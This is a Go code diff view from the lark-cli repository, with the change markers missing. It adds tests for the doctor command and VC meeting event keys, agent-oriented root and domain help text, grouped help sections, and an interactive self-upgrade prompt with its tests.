t.Helper()
if got := findCheck(t, checks, name); got.Status != status {
t.Fatalf("%s status = %q, want %q", name, got.Status, status)
}
}
func findCheck(t *testing.T, checks []checkResult, name string) checkResult {
t.Helper()
for _, check := range checks {
if check.Name == name {
if check.Status != status {
t.Fatalf("%s status = %q, want %q", name, check.Status, status)
}
return
return check
}
}
t.Fatalf("check %q not found in %#v", name, checks)
return checkResult{}
}
type fakeExtProvider struct {
name string
account *extcred.Account
}
func (p *fakeExtProvider) Name() string { return p.name }
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
return p.account, nil
}
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
return nil, nil
}
// Under an external credential provider with no usable identity, the
// identity_ready hint must not point at `auth status` (blocked there); the
// per-identity checks already carry the source-appropriate escalation.
func TestDoctor_ExternalProvider_IdentityReadyHintNotBlockedCommand(t *testing.T) {
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
if err := core.SaveMultiAppConfig(&core.MultiAppConfig{
CurrentApp: "default",
Apps: []core.AppConfig{{Name: "default", AppId: "cli_x", AppSecret: core.PlainSecret("secret"), Brand: core.BrandFeishu}},
}); err != nil {
t.Fatalf("SaveMultiAppConfig() error = %v", err)
}
// Provider serves neither identity: bot unsupported, user supported but not
// signed in → both unavailable → identity_ready fails.
cfg := &core.CliConfig{AppID: "cli_x", Brand: core.BrandFeishu, SupportedIdentities: uint8(extcred.SupportsUser)}
cred := credential.NewCredentialProvider(
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: "cli_x"}}},
nil, nil,
func() (*http.Client, error) { return nil, nil },
)
out := &bytes.Buffer{}
f := &cmdutil.Factory{
Config: func() (*core.CliConfig, error) { return cfg, nil },
Credential: cred,
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
}
if err := doctorRun(&DoctorOptions{Factory: f, Ctx: context.Background(), Offline: true}); err == nil {
t.Fatalf("doctorRun() = nil, want failure when no identity is available")
}
var got struct {
Checks []checkResult `json:"checks"`
}
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
t.Fatalf("json.Unmarshal() error = %v\n%s", err, out.String())
}
ready := findCheck(t, got.Checks, "identity_ready")
if ready.Status != "fail" {
t.Fatalf("identity_ready status = %q, want fail", ready.Status)
}
// The summary defers to the per-identity checks; it carries no hint of its
// own (a command here would be wrong under an external provider).
if ready.Hint != "" {
t.Fatalf("identity_ready should carry no hint, got %q", ready.Hint)
}
user := findCheck(t, got.Checks, "user_identity")
if !strings.Contains(user.Hint, "external") || strings.Contains(user.Hint, "auth login") {
t.Fatalf("user_identity hint not external-appropriate: %q", user.Hint)
}
}

View File

@@ -10,10 +10,22 @@ import (
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
eventlib "github.com/larksuite/cli/internal/event"
_ "github.com/larksuite/cli/events"
)
func TestEventLookup_VCMeetingLifecycleKeys(t *testing.T) {
for _, key := range []string{
"vc.meeting.participant_meeting_started_v1",
"vc.meeting.participant_meeting_joined_v1",
} {
if _, ok := eventlib.Lookup(key); !ok {
t.Fatalf("event.Lookup(%q) should succeed", key)
}
}
}
func TestRunList_TextOutput(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
@@ -27,6 +39,8 @@ func TestRunList_TextOutput(t *testing.T) {
"im.message.receive_v1",
"im.message.message_read_v1",
"task.task.update_user_access_v2",
"vc.meeting.participant_meeting_started_v1",
"vc.meeting.participant_meeting_joined_v1",
} {
if !strings.Contains(out, want) {
t.Errorf("list output missing %q; full output:\n%s", want, out)
@@ -57,9 +71,15 @@ func TestRunList_JSONOutput(t *testing.T) {
}
}
var foundTask bool
gotKeys := map[string]map[string]interface{}{}
for _, row := range rows {
if row["key"] == "task.task.update_user_access_v2" {
if key, ok := row["key"].(string); ok {
gotKeys[key] = row
}
}
var foundTask bool
for key, row := range gotKeys {
if key == "task.task.update_user_access_v2" {
foundTask = true
if row["single_consumer"] != true {
t.Errorf("task row single_consumer = %v, want true", row["single_consumer"])
@@ -69,4 +89,12 @@ func TestRunList_JSONOutput(t *testing.T) {
if !foundTask {
t.Fatal("event list JSON missing task.task.update_user_access_v2")
}
for _, want := range []string{
"vc.meeting.participant_meeting_started_v1",
"vc.meeting.participant_meeting_joined_v1",
} {
if _, ok := gotKeys[want]; !ok {
t.Errorf("JSON list output missing %q", want)
}
}
}

View File

@@ -124,6 +124,45 @@ func TestRunSchema_TaskUpdateUserAccessJSON(t *testing.T) {
}
}
func TestRunSchema_JSONOutput_VCMeetingLifecycleKeys(t *testing.T) {
for _, key := range []string{
"vc.meeting.participant_meeting_started_v1",
"vc.meeting.participant_meeting_joined_v1",
} {
t.Run(key, func(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "test"})
if err := runSchema(f, key, true); err != nil {
t.Fatalf("runSchema json: %v", err)
}
var payload map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &payload); err != nil {
t.Fatalf("output is not valid JSON: %v\n%s", err, stdout.String())
}
if payload["key"] != key {
t.Errorf("key = %v, want %s", payload["key"], key)
}
resolved, ok := payload["resolved_output_schema"].(map[string]interface{})
if !ok {
t.Fatalf("resolved_output_schema missing or wrong type: %+v", payload)
}
properties, ok := resolved["properties"].(map[string]interface{})
if !ok {
t.Fatalf("resolved_output_schema.properties missing or wrong type: %+v", resolved)
}
for _, field := range []string{"type", "event_id", "timestamp", "meeting_id", "topic", "meeting_no", "start_time", "calendar_event_id"} {
if _, ok := properties[field]; !ok {
t.Errorf("resolved output schema missing field %q: %+v", field, properties)
}
}
if _, ok := properties["end_time"]; ok {
t.Errorf("resolved output schema should not include end_time for %s: %+v", key, properties)
}
})
}
}
func TestSchema_RendersSubscriptionKeyMarker(t *testing.T) {
const syntheticKey = "test.evt_sub"
t.Cleanup(func() { eventlib.UnregisterKeyForTest(syntheticKey) })

View File

@@ -11,9 +11,11 @@ import (
"sort"
"strings"
"github.com/larksuite/cli/cmd/service"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/extension/platform"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdmeta"
"github.com/larksuite/cli/internal/cmdpolicy"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/deprecation"
@@ -28,43 +30,60 @@ import (
const rootLong = `lark-cli — Lark/Feishu CLI tool.
USAGE:
lark-cli <command> [subcommand] [method] [options]
lark-cli api <method> <path> [--params <json>] [--data <json>]
lark-cli schema <service.resource.method>
AGENT QUICKSTART (driving this as an agent? start here):
Browse commands: lark-cli <domain> --help # +shortcuts (preferred) and raw API resources
Inspect a call: lark-cli schema <service>.<resource>.<method> # params, types, scopes, examples
Prefer a +shortcut over the raw API resource when one matches the task.
Risk: each command's --help shows read | write | high-risk-write;
high-risk-write needs --yes, only after the user confirms.
On any API call: --jq <expr> filters JSON output, --dry-run previews the request (runs nothing).
EXAMPLES:
# View upcoming events
lark-cli calendar +agenda
EXAMPLES (one per command style, in order of preference):
lark-cli calendar +agenda # +shortcut — a high-level task, prefer these
lark-cli mail user_mailbox.messages list --user-mailbox-id me # typed command for one API method
lark-cli schema mail.user_mailbox.messages.list # inspect a method's params before calling
lark-cli api GET /open-apis/calendar/v4/calendars # raw escape hatch — any endpoint by HTTP path`
# List calendar events
lark-cli calendar events instance_view --params '{"calendar_id":"primary","start_time":"1700000000","end_time":"1700086400"}'
// rootUsageTemplate is cobra's default usage template with two root-only
// additions gated on {{if not .HasParent}}: a curated multi-form Usage synopsis
// (replacing cobra's generic "[flags] / [command]") and a human skills-setup
// footer. Subcommands render the stock template unchanged. The rest is verbatim
// cobra so the command groups and flags are untouched.
const rootUsageTemplate = `{{if .HasParent}}Usage:{{if .Runnable}}
{{.UseLine}}{{end}}{{if .HasAvailableSubCommands}}
{{.CommandPath}} [command]{{end}}{{else}}Usage:
lark-cli <command> [subcommand] [method] [flags]
lark-cli api <method> <path> [--params <json>] [--data <json>]
lark-cli schema <service.resource.method>{{end}}{{if gt (len .Aliases) 0}}
# Search users
lark-cli contact +search-user --query "John"
Aliases:
{{.NameAndAliases}}{{end}}{{if .HasExample}}
# Generic API call
lark-cli api GET /open-apis/calendar/v4/calendars
Examples:
{{.Example}}{{end}}{{if .HasAvailableSubCommands}}{{$cmds := .Commands}}{{if eq (len .Groups) 0}}
AI AGENT SKILLS:
lark-cli pairs with AI agent skills (Claude Code, etc.) that
teach the agent Lark API patterns, best practices, and workflows.
Available Commands:{{range $cmds}}{{if (or .IsAvailableCommand (eq .Name "help"))}}
{{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{else}}{{range $group := .Groups}}
Install all skills:
npx skills add larksuite/cli -g -y
{{.Title}}{{range $cmds}}{{if (and (eq .GroupID $group.ID) (or .IsAvailableCommand (eq .Name "help")))}}
{{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{if not .AllChildCommandsHaveGroup}}
Or pick specific domains:
npx skills add larksuite/cli -s lark-calendar -y
npx skills add larksuite/cli -s lark-im -y
Additional Commands:{{range $cmds}}{{if (and (eq .GroupID "") (or .IsAvailableCommand (eq .Name "help")))}}
{{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}}
Learn more: https://github.com/larksuite/cli#agent-skills
Flags:
{{.LocalFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasAvailableInheritedFlags}}
COMMUNITY:
GitHub: https://github.com/larksuite/cli
Issues: https://github.com/larksuite/cli/issues
Docs: https://open.feishu.cn/document/
Global Flags:
{{.InheritedFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasHelpSubCommands}}
More help: lark-cli <command> --help`
Additional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}}
{{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}}
Use "{{.CommandPath}} [command] --help" for more information about a command.{{end}}{{if not .HasParent}}
Skills setup (one-time, humans): npx skills add larksuite/cli -g -y — https://github.com/larksuite/cli#agent-skills{{end}}
`
// Execute runs the root command and returns the process exit code.
// rawInvocationArgs holds os.Args[1:] captured at Execute() entry. cobra's
@@ -529,6 +548,49 @@ func availableSubcommandNames(cmd *cobra.Command) (available, deprecated []strin
return available, deprecated
}
// Root command help groups, so an agent sees content domains, agent tooling, and
// CLI management as distinct blocks instead of one flat alphabetical dump.
const (
groupDomains = "lark-domains"
groupTooling = "agent-tooling"
groupManagement = "cli-management"
)
// groupRootCommands classifies root's direct children into the help groups,
// called once after all commands are registered. Unclassified commands fall to
// cobra's "Additional Commands" section.
func groupRootCommands(root *cobra.Command) {
root.AddGroup(
&cobra.Group{ID: groupDomains, Title: "Lark domains:"},
&cobra.Group{ID: groupTooling, Title: "Agent tooling:"},
&cobra.Group{ID: groupManagement, Title: "CLI management:"},
)
tooling := map[string]bool{"api": true, "schema": true, "skills": true, "agent": true}
management := map[string]bool{"auth": true, "config": true, "profile": true, "doctor": true, "update": true}
for _, c := range root.Commands() {
if c.GroupID != "" {
continue
}
switch {
case tooling[c.Name()]:
c.GroupID = groupTooling
case management[c.Name()]:
c.GroupID = groupManagement
case isLarkDomain(c):
c.GroupID = groupDomains
}
}
}
// isLarkDomain reports whether a root child is a Lark domain (service-sourced or
// shortcut-tagged), not CLI tooling. Mirrors service.PrepareDomainHelp.
func isLarkDomain(c *cobra.Command) bool {
if src, _ := cmdmeta.SourceOf(c); src == cmdmeta.SourceService {
return true
}
return cmdmeta.Domain(c) != ""
}
// flagDidYouMean is the root FlagErrorFunc (inherited by all subcommands). It
// converts cobra's flag-parse errors into a typed validation envelope: an
// unknown flag gets a focused "did you mean" hint (so agents recover even when
@@ -610,6 +672,17 @@ func installTipsHelpFunc(root *cobra.Command) {
defer func() { f.Hidden = true }()
}
}
// Domain and method commands compose their agent guidance into Long lazily
// here (shortcuts attach after service registration); both skip the generic
// bottom-of-help append below.
if service.PrepareDomainHelp(cmd, embeddedSkillContent) {
defaultHelp(cmd, args)
return
}
if service.PrepareMethodHelp(cmd) {
defaultHelp(cmd, args)
return
}
defaultHelp(cmd, args)
out := cmd.OutOrStdout()
if level, ok := cmdutil.GetRisk(cmd); ok {

View File

@@ -76,11 +76,13 @@ func TestPersistentPreRunE_ConfigSubcommands(t *testing.T) {
}
func TestRootLong_AgentSkillsLinkTargetsReadmeSection(t *testing.T) {
if !strings.Contains(rootLong, "https://github.com/larksuite/cli#agent-skills") {
t.Fatalf("root help should link to the README Agent Skills section, got:\n%s", rootLong)
// The human skills-install guidance now lives in the root usage-template
// footer (below the command list), not in the agent-facing Long.
if !strings.Contains(rootUsageTemplate, "https://github.com/larksuite/cli#agent-skills") {
t.Fatalf("root help footer should link to the README Agent Skills section, got:\n%s", rootUsageTemplate)
}
if strings.Contains(rootLong, "https://github.com/larksuite/cli#install-ai-agent-skills") {
t.Fatalf("root help should not reference the removed install-ai-agent-skills anchor, got:\n%s", rootLong)
if strings.Contains(rootUsageTemplate, "https://github.com/larksuite/cli#install-ai-agent-skills") {
t.Fatalf("root help should not reference the removed install-ai-agent-skills anchor, got:\n%s", rootUsageTemplate)
}
}

90
cmd/root_upgrade.go Normal file
View File

@@ -0,0 +1,90 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"bufio"
"fmt"
"io"
"strings"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/update"
"github.com/spf13/cobra"
)
// runRootUpgrade locates the registered `update` subcommand and runs it, so the
// interactive root-command upgrade reuses exactly `lark-cli update` behavior
// (install-method detection, output, error handling). Package-level var so
// tests can stub it and avoid real network / self-update.
var runRootUpgrade = func(cmd *cobra.Command) {
for _, c := range cmd.Root().Commands() {
if c.Name() == "update" && c.RunE != nil {
_ = c.RunE(c, nil) // update prints its own output/errors; swallow here
return
}
}
}
// isBareRootInvocation reports whether this is a bare `lark-cli` (no subcommand,
// no flags) — the only invocation that triggers the interactive upgrade prompt.
// Mirrors unknownSubcommandRunE's "bare group prints help" branch: args empty
// AND no flag tokens in the raw invocation.
func isBareRootInvocation(args []string) bool {
return len(args) == 0 && len(flagTokensInArgs(rawInvocationArgs)) == 0
}
// readYes reads one line and reports whether it is an affirmative y/yes.
// EOF / empty / anything else → false (default No, matching the [y/N] prompt).
func readYes(r io.Reader) bool {
line, _ := bufio.NewReader(r).ReadString('\n')
switch strings.ToLower(strings.TrimSpace(line)) {
case "y", "yes":
return true
default:
return false
}
}
// offerRootUpgrade prompts for an interactive upgrade when running bare
// `lark-cli` in an interactive terminal with a cached newer version. Every
// failure is swallowed — it must never affect help output or the exit code.
func offerRootUpgrade(f *cmdutil.Factory, cmd *cobra.Command) {
ios := f.IOStreams
// Gates 1/2/3: need to read stdin AND show the prompt on stderr, and require
// stdout TTY too so this only fires in a pure foreground terminal session.
if !ios.IsTerminal || !ios.OutIsTerminal || !ios.StderrIsTerminal {
return
}
// Gate 4: cached newer version. CheckCached applies opt-out (shouldSkip)
// and the IsNewer/semver validation chain; it reads the on-disk cache that
// the 24h-throttled RefreshCache maintains (CheckCached itself has no TTL).
info := update.CheckCached(build.Version)
if info == nil {
return
}
fmt.Fprintf(ios.ErrOut, "lark-cli %s available (current %s). Upgrade now? [y/N]: ", info.Latest, info.Current)
if !readYes(ios.In) {
return
}
runRootUpgrade(cmd)
}
// installRootUpgradePrompt wraps the root command's RunE (set to
// unknownSubcommandRunE by installUnknownSubcommandGuard) so a bare `lark-cli`
// invocation offers an interactive upgrade before printing help. Non-bare
// invocations are passed straight through, unchanged.
func installRootUpgradePrompt(f *cmdutil.Factory, root *cobra.Command) {
inner := root.RunE
if inner == nil {
return
}
root.RunE = func(cmd *cobra.Command, args []string) error {
if isBareRootInvocation(args) {
offerRootUpgrade(f, cmd)
}
return inner(cmd, args)
}
}

191
cmd/root_upgrade_test.go Normal file
View File

@@ -0,0 +1,191 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package cmd
import (
"bytes"
"fmt"
"os"
"path/filepath"
"strings"
"testing"
"time"
"github.com/larksuite/cli/internal/build"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/spf13/cobra"
)
func writeUpdateState(t *testing.T, dir, latest string) {
t.Helper()
data := fmt.Sprintf(`{"latest_version":%q,"checked_at":%d}`, latest, time.Now().Unix())
if err := os.WriteFile(filepath.Join(dir, "update-state.json"), []byte(data), 0o644); err != nil {
t.Fatal(err)
}
}
func TestReadYes(t *testing.T) {
cases := map[string]bool{
"y\n": true, "Y\n": true, "yes\n": true, "YES\n": true, " y \n": true,
"n\n": false, "\n": false, "": false, "nope\n": false, "yeah\n": false,
}
for in, want := range cases {
if got := readYes(strings.NewReader(in)); got != want {
t.Errorf("readYes(%q) = %v, want %v", in, got, want)
}
}
}
func TestIsBareRootInvocation(t *testing.T) {
orig := rawInvocationArgs
t.Cleanup(func() { rawInvocationArgs = orig })
rawInvocationArgs = nil
if !isBareRootInvocation([]string{}) {
t.Error("empty args + no raw flag tokens should be bare")
}
rawInvocationArgs = []string{"--profile", "x"}
if isBareRootInvocation([]string{}) {
t.Error("flag token present → not bare")
}
rawInvocationArgs = nil
if isBareRootInvocation([]string{"im"}) {
t.Error("positional arg → not bare")
}
}
func TestOfferRootUpgrade(t *testing.T) {
origV := build.Version
build.Version = "1.0.0" // release version so shouldSkip()==false
t.Cleanup(func() { build.Version = origV })
origRun := runRootUpgrade
t.Cleanup(func() { runRootUpgrade = origRun })
// This test builds a Factory literal (no NewDefault), so it never runs
// workspace detection; pin the process-global workspace to Local so
// statePath() resolves under LARKSUITE_CLI_CONFIG_DIR rather than a stale
// subdir inherited from a prior test in the package.
origWS := core.CurrentWorkspace()
t.Cleanup(func() { core.SetCurrentWorkspace(origWS) })
core.SetCurrentWorkspace(core.WorkspaceLocal)
cases := []struct {
name string
in, out, err bool
input string
latest string // "" → no state file (CheckCached nil)
optOut bool
wantPrompt, wantRun bool
}{
{"all-tty+y", true, true, true, "y\n", "2.0.0", false, true, true},
{"all-tty+yes", true, true, true, "yes\n", "2.0.0", false, true, true},
{"all-tty+n", true, true, true, "n\n", "2.0.0", false, true, false},
{"all-tty+empty", true, true, true, "\n", "2.0.0", false, true, false},
{"all-tty+eof", true, true, true, "", "2.0.0", false, true, false},
{"stdin-not-tty", false, true, true, "y\n", "2.0.0", false, false, false},
{"stdout-not-tty", true, false, true, "y\n", "2.0.0", false, false, false},
{"stderr-not-tty", true, true, false, "y\n", "2.0.0", false, false, false},
{"no-newer-version", true, true, true, "y\n", "", false, false, false},
{"already-latest", true, true, true, "y\n", "1.0.0", false, false, false}, // post-upgrade: current == cached latest → no prompt
{"cache-older-than-current", true, true, true, "y\n", "0.9.0", false, false, false},
{"opt-out", true, true, true, "y\n", "2.0.0", true, false, false},
}
for _, tc := range cases {
t.Run(tc.name, func(t *testing.T) {
dir := t.TempDir()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", dir)
// Clear env that update.shouldSkip treats as "suppress" so the
// test is deterministic regardless of host (GitHub Actions sets
// CI=true, which would otherwise suppress the prompt).
t.Setenv("CI", "")
t.Setenv("BUILD_NUMBER", "")
t.Setenv("RUN_ID", "")
t.Setenv("LARKSUITE_CLI_NO_UPDATE_NOTIFIER", "")
if tc.latest != "" {
writeUpdateState(t, dir, tc.latest)
}
if tc.optOut {
t.Setenv("LARKSUITE_CLI_NO_UPDATE_NOTIFIER", "1")
}
called := false
runRootUpgrade = func(*cobra.Command) { called = true }
var errBuf bytes.Buffer
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
In: strings.NewReader(tc.input),
Out: &bytes.Buffer{},
ErrOut: &errBuf,
IsTerminal: tc.in,
OutIsTerminal: tc.out,
StderrIsTerminal: tc.err,
}}
offerRootUpgrade(f, &cobra.Command{})
gotPrompt := strings.Contains(errBuf.String(), "available")
if gotPrompt != tc.wantPrompt {
t.Errorf("prompt: got %v want %v (stderr=%q)", gotPrompt, tc.wantPrompt, errBuf.String())
}
if called != tc.wantRun {
t.Errorf("runRootUpgrade called: got %v want %v", called, tc.wantRun)
}
})
}
}
func TestInstallRootUpgradePromptPreservesInner(t *testing.T) {
orig := rawInvocationArgs
t.Cleanup(func() { rawInvocationArgs = orig })
rawInvocationArgs = nil
innerCalls := 0
root := &cobra.Command{Use: "lark-cli"}
root.RunE = func(cmd *cobra.Command, args []string) error { innerCalls++; return nil }
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
In: strings.NewReader(""), Out: &bytes.Buffer{}, ErrOut: &bytes.Buffer{},
}}
installRootUpgradePrompt(f, root)
if err := root.RunE(root, []string{}); err != nil {
t.Fatalf("bare RunE err = %v", err)
}
if err := root.RunE(root, []string{"im"}); err != nil {
t.Fatalf("non-bare RunE err = %v", err)
}
if innerCalls != 2 {
t.Errorf("inner RunE should run for both bare and non-bare, got %d", innerCalls)
}
}
// TestRunRootUpgradeDispatchesToUpdate covers the real runRootUpgrade dispatch
// path (not the stub used elsewhere): from any command it must locate the
// registered "update" subcommand via cmd.Root() and invoke its RunE.
func TestRunRootUpgradeDispatchesToUpdate(t *testing.T) {
root := &cobra.Command{Use: "lark-cli"}
ran := 0
root.AddCommand(&cobra.Command{Use: "update", RunE: func(*cobra.Command, []string) error { ran++; return nil }})
child := &cobra.Command{Use: "im"}
root.AddCommand(child)
runRootUpgrade(child) // child.Root() resolves to root, which has "update"
if ran != 1 {
t.Errorf("runRootUpgrade should locate and run update's RunE once, got %d", ran)
}
}
// TestInstallRootUpgradePromptNilInnerNoop covers the inner == nil guard:
// when root has no RunE, installRootUpgradePrompt must not wrap it.
func TestInstallRootUpgradePromptNilInnerNoop(t *testing.T) {
root := &cobra.Command{Use: "lark-cli"} // RunE is nil
f := &cmdutil.Factory{IOStreams: &cmdutil.IOStreams{
In: strings.NewReader(""), Out: &bytes.Buffer{}, ErrOut: &bytes.Buffer{},
}}
installRootUpgradePrompt(f, root)
if root.RunE != nil {
t.Error("installRootUpgradePrompt must not wrap a nil RunE (inner==nil guard)")
}
}

View File

@@ -4,41 +4,211 @@
package service
import (
"encoding/json"
"fmt"
"io/fs"
"strings"
"github.com/larksuite/cli/internal/affordance"
"github.com/larksuite/cli/internal/cmdmeta"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/meta"
"github.com/spf13/cobra"
)
// methodLong composes a method command's long help in one place: the
// description, the affordance guidance block (when the method has one), the
// pointer to the full schema, and the params-only addendum (params whose flag
// name is taken — paramFlagBinder.paramsOnlyHelp, "" when none). Affordance
// sits near the top so an agent sees when-to-use and few-shot examples before
// the flag list.
func methodLong(description, affordance, schemaPath, paramsOnly string) string {
// PrepareDomainHelp appends navigational guidance (routing line, risk legend,
// skill pointer) to a top-level Lark domain's description, returning false for
// anything that is not such a domain. Built lazily at help time because
// shortcuts attach after service registration. skillFS (nil-safe) gates the
// skill pointer.
//
// A hand-authored Long is preserved as the base (e.g. event's "Use 'event
// consume <EventKey>'…"); service domains carry only a Short at this point, so
// we fall back to it. The pristine base is captured once into an annotation so
// re-rendering does not append the guidance twice.
func PrepareDomainHelp(cmd *cobra.Command, skillFS fs.FS) bool {
if cmd.Annotations[schemaPathAnnotation] != "" {
return false // a method command
}
// Direct child of root only — so Domain() reads this command's own tag, and
// nested resource groups are excluded.
if cmd.Parent() == nil || cmd.Parent().Parent() != nil {
return false
}
// A domain is service-sourced or shortcut-tagged; CLI tooling has neither.
if src, _ := cmdmeta.SourceOf(cmd); src != cmdmeta.SourceService && cmdmeta.Domain(cmd) == "" {
return false
}
if !cmd.HasAvailableSubCommands() {
return false
}
hasShortcuts, hasResources := false, false
for _, c := range cmd.Commands() {
if c.Hidden || c.Name() == "help" || c.Name() == "completion" {
continue
}
if strings.HasPrefix(c.Name(), "+") {
hasShortcuts = true
} else {
hasResources = true
}
}
var b strings.Builder
b.WriteString(domainHelpBase(cmd))
if hasShortcuts && hasResources { // routing only matters when both styles exist
b.WriteString("\n\nPrefer a +-prefixed shortcut when one matches your task; otherwise use the raw API resource below.")
}
b.WriteString("\n\nRisk levels (read | write | high-risk-write) appear in each command's --help; high-risk-write requires --yes, only after the user confirms.")
if skill := "lark-" + cmd.Name(); skillFS != nil {
if _, err := fs.Stat(skillFS, skill+"/SKILL.md"); err == nil {
fmt.Fprintf(&b, "\n\nDomain guide (concepts, command choice, conventions): lark-cli skills read %s", skill)
}
}
cmd.Long = b.String()
return true
}
// domainHelpBase returns the description to seed domain help with — the
// hand-authored Long when present, else the Short — captured once into an
// annotation so re-rendering reuses the pristine text instead of the
// already-augmented Long.
func domainHelpBase(cmd *cobra.Command) string {
if base, ok := cmd.Annotations[domainBaseAnnotation]; ok {
return base
}
base := cmd.Long
if base == "" {
base = cmd.Short
}
if cmd.Annotations == nil {
cmd.Annotations = map[string]string{}
}
cmd.Annotations[domainBaseAnnotation] = base
return base
}
// methodLong is the build-time Long (description + schema pointer +
// params-only addendum). Agent guidance is added lazily by PrepareMethodHelp,
// so command construction never parses the overlay.
func methodLong(description, schemaPath, paramsOnly string) string {
var b strings.Builder
b.WriteString(description)
if affordance != "" {
b.WriteString("\n\n")
b.WriteString(affordance)
}
fmt.Fprintf(&b, "\n\nView parameter definitions before calling:\n lark-cli schema %s", schemaPath)
fmt.Fprintf(&b, "\n\nFull parameter schema:\n lark-cli schema %s", schemaPath)
b.WriteString(paramsOnly)
return b.String()
}
// renderAffordance renders a method's affordance as a help block — when to use,
// prerequisites, and (most importantly for agents) few-shot Examples — or "" when
// the method carries no affordance. It reads the single typed model
// (meta.Method.ParsedAffordance) so the help and the envelope agree on shape.
// Annotation keys PrepareMethodHelp reads to rebuild a method command's Long.
const (
affordanceServiceAnnotation = "affordance-service"
affordanceMethodAnnotation = "affordance-method"
schemaPathAnnotation = "method-schema-path"
paramsOnlyAnnotation = "method-params-only"
domainBaseAnnotation = "affordance-domain-base"
)
// setMethodHelpData records the coordinates PrepareMethodHelp needs (storing a
// few strings is the only build-time cost; the overlay stays untouched).
func setMethodHelpData(cmd *cobra.Command, service, methodID, schemaPath, paramsOnly string) {
if cmd.Annotations == nil {
cmd.Annotations = map[string]string{}
}
if service != "" && methodID != "" {
cmd.Annotations[affordanceServiceAnnotation] = service
cmd.Annotations[affordanceMethodAnnotation] = methodID
}
cmd.Annotations[schemaPathAnnotation] = schemaPath
if paramsOnly != "" {
cmd.Annotations[paramsOnlyAnnotation] = paramsOnly
}
}
// PrepareMethodHelp rebuilds a generated method command's Long with the agent
// guidance at the TOP (Risk, then the affordance block, then the schema
// pointer), returning false for non-method commands. The overlay is parsed
// here — only when help is rendered.
func PrepareMethodHelp(cmd *cobra.Command) bool {
ann := cmd.Annotations
if ann == nil {
return false
}
schemaPath, ok := ann[schemaPathAnnotation]
if !ok {
return false
}
var b strings.Builder
b.WriteString(cmd.Short)
if level, ok := cmdutil.GetRisk(cmd); ok {
// --yes asserts the USER confirmed; the agent must not self-approve.
if level == cmdutil.RiskHighRiskWrite {
fmt.Fprintf(&b, "\n\nRisk: %s (requires explicit user confirmation to execute; the agent must NOT add --yes on its own — only pass --yes after the user has confirmed)", level)
} else {
fmt.Fprintf(&b, "\n\nRisk: %s", level)
}
}
var skills []string
if raw, ok := affordanceRaw(cmd); ok {
if block := renderAffordance(meta.Method{Affordance: raw}); block != "" {
b.WriteString("\n\n")
b.WriteString(block)
}
if a, ok := (meta.Method{Affordance: raw}).ParsedAffordance(); ok {
skills = a.Skills
}
}
fmt.Fprintf(&b, "\n\nFull parameter schema:\n lark-cli schema %s", schemaPath)
b.WriteString(ann[paramsOnlyAnnotation])
if len(skills) > 0 {
b.WriteString("\n\nWorkflow skill (end-to-end usage):")
for _, s := range skills {
fmt.Fprintf(&b, "\n lark-cli skills read %s", s)
}
}
cmd.Long = b.String()
return true
}
// affordanceLookup is the overlay source; a package var so tests can inject.
var affordanceLookup = affordance.For
// RenderAffordanceForCmd renders a method command's affordance block, or "" when
// it carries none.
func RenderAffordanceForCmd(cmd *cobra.Command) string {
raw, ok := affordanceRaw(cmd)
if !ok {
return ""
}
return renderAffordance(meta.Method{Affordance: raw})
}
func affordanceRaw(cmd *cobra.Command) (json.RawMessage, bool) {
if cmd.Annotations == nil {
return nil, false
}
service := cmd.Annotations[affordanceServiceAnnotation]
methodID := cmd.Annotations[affordanceMethodAnnotation]
if service == "" || methodID == "" {
return nil, false
}
return affordanceLookup(service, methodID)
}
// renderAffordance renders a method's affordance as a help block, or "" when it
// has none. Sections are joined with blank lines so they scan as distinct groups.
func renderAffordance(m meta.Method) string {
a, ok := m.ParsedAffordance()
if !ok {
return ""
}
var b strings.Builder
var sections []string
bullets := func(title string, items []string) {
var nonEmpty []string
for _, it := range items {
@@ -49,15 +219,18 @@ func renderAffordance(m meta.Method) string {
if len(nonEmpty) == 0 {
return
}
fmt.Fprintf(&b, "%s:\n", title)
var s strings.Builder
fmt.Fprintf(&s, "%s:\n", title)
for _, it := range nonEmpty {
fmt.Fprintf(&b, " • %s\n", it)
fmt.Fprintf(&s, " • %s\n", it)
}
sections = append(sections, strings.TrimRight(s.String(), "\n"))
}
bullets("When to use", a.UseWhen)
bullets("Avoid when", a.DoNotUseWhen)
bullets("Avoid when", a.AvoidWhen)
bullets("Prerequisites", a.Prerequisites)
bullets("Tips", a.Tips)
if len(a.Examples) > 0 {
var lines []string
